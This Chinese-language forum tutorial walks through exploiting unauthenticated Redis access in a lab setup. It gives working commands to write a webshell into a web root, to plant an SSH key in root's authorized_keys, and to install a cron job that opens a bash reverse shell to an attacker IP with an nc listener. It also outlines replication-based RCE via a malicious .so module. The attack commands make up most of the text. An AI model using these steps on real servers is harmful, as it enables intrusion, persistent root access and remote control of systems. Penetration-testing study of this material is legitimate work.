深入探究Redis未授权访问漏洞利用【详细绕坑版】

01

环境搭建

  • 操作系统:Windows 10、Kali Linux 2020、CentOS 7

在指定端口开启 Redis 服务

redis-server --port 6379

图片[1]-深入探究Redis未授权访问漏洞利用【详细绕坑版】-山海云端论坛

02

利用步骤

为了利用 Redis 未授权漏洞,首先需要确认漏洞存在。

  1. 判断漏洞存在:尝试直接连接 Redis 服务,并使用 info 命令获取 Redis 服务器信息。

redis-cli -h localhost -p 6379

成功获取 Redis 服务器信息即表示存在未授权漏洞。

图片[2]-深入探究Redis未授权访问漏洞利用【详细绕坑版】-山海云端论坛

一旦确认存在漏洞,可以进一步利用,常规方式包括:

  • Webshell
  • 写入 SSH 公钥实现免密登录
  • 写入定时任务文件执行命令反弹 shell

在本地环境中,先演示第一种方法。

03

Redis 未授权写入 Webshell

为了实现 Redis 未授权写入 Webshell,需要满足以下条件:

  • 服务器开放 Web 服务
  • 确定网站根目录位置
  • 对写入文件/文件夹具有读写权限

假设网站根目录为 D:/xampp/htdocs/,并对其具有读写权限。

<code>redis-cli -h localhost -p 6379 config set dir D:/xampp/htdocs/ config set dbfilename index_.php set shell "\n\n\n\n" save</code>

成功写入 Webshell 后,即可通过访问相应 URL 进行验证。

04

写入 SSH 公钥实现免密登录

配置环境:Kali Linux 自带 Redis,CentOS 7 需要手动部署。

在 CentOS 7 上开启 Redis 服务:

./redis-server --port 6379

连接到 CentOS 的 Redis 服务:

redis-cli -h 192.168.133.133

成功连接后,将生成的 SSH 公钥写入 Redis 服务器,然后设置 Redis 的备份文件路径并保存。

config set dir /root/.ssh/ config set dbfilename authorized_keys save

尝试使用写入的 SSH 公钥进行免密登录:

ssh root@192.168.133.133 -i /root/.ssh/id_rsa

05

写入定时任务文件执行命令反弹 shell

这种方法仅适用于 CentOS,Ubuntu 环境存在权限和乱码问题。

首先在 Kali 上启动监听:

nc -lvp 4444

连接到 CentOS 的 Redis 服务,写入定时任务:

<code>config set dir /var/spool/cron/ config set dbfilename root set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.133.128/4444 0>&1\n\n" save</code>

等待一段时间后,将反弹的 shell 收到 Kali 上。

图片[3]-深入探究Redis未授权访问漏洞利用【详细绕坑版】-山海云端论坛

06

基于主从复制的 RCE

主从复制是为了缓解 Redis 服务器压力,使其能够处理更多的读写请求。

基本思路是在本地搭建 Redis 服务,将其设置为 CentOS 的主节点,然后将恶意 so 文件通过全量复制同步到从节点,最终实现 RCE。

需注意的是,全量复制会清空对方数据库,因此在挖掘漏洞时需要小心谨慎。

综上所述,通过以上方法,成功利用了 Redis 的未授权漏洞,并实现了多种攻击手段。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容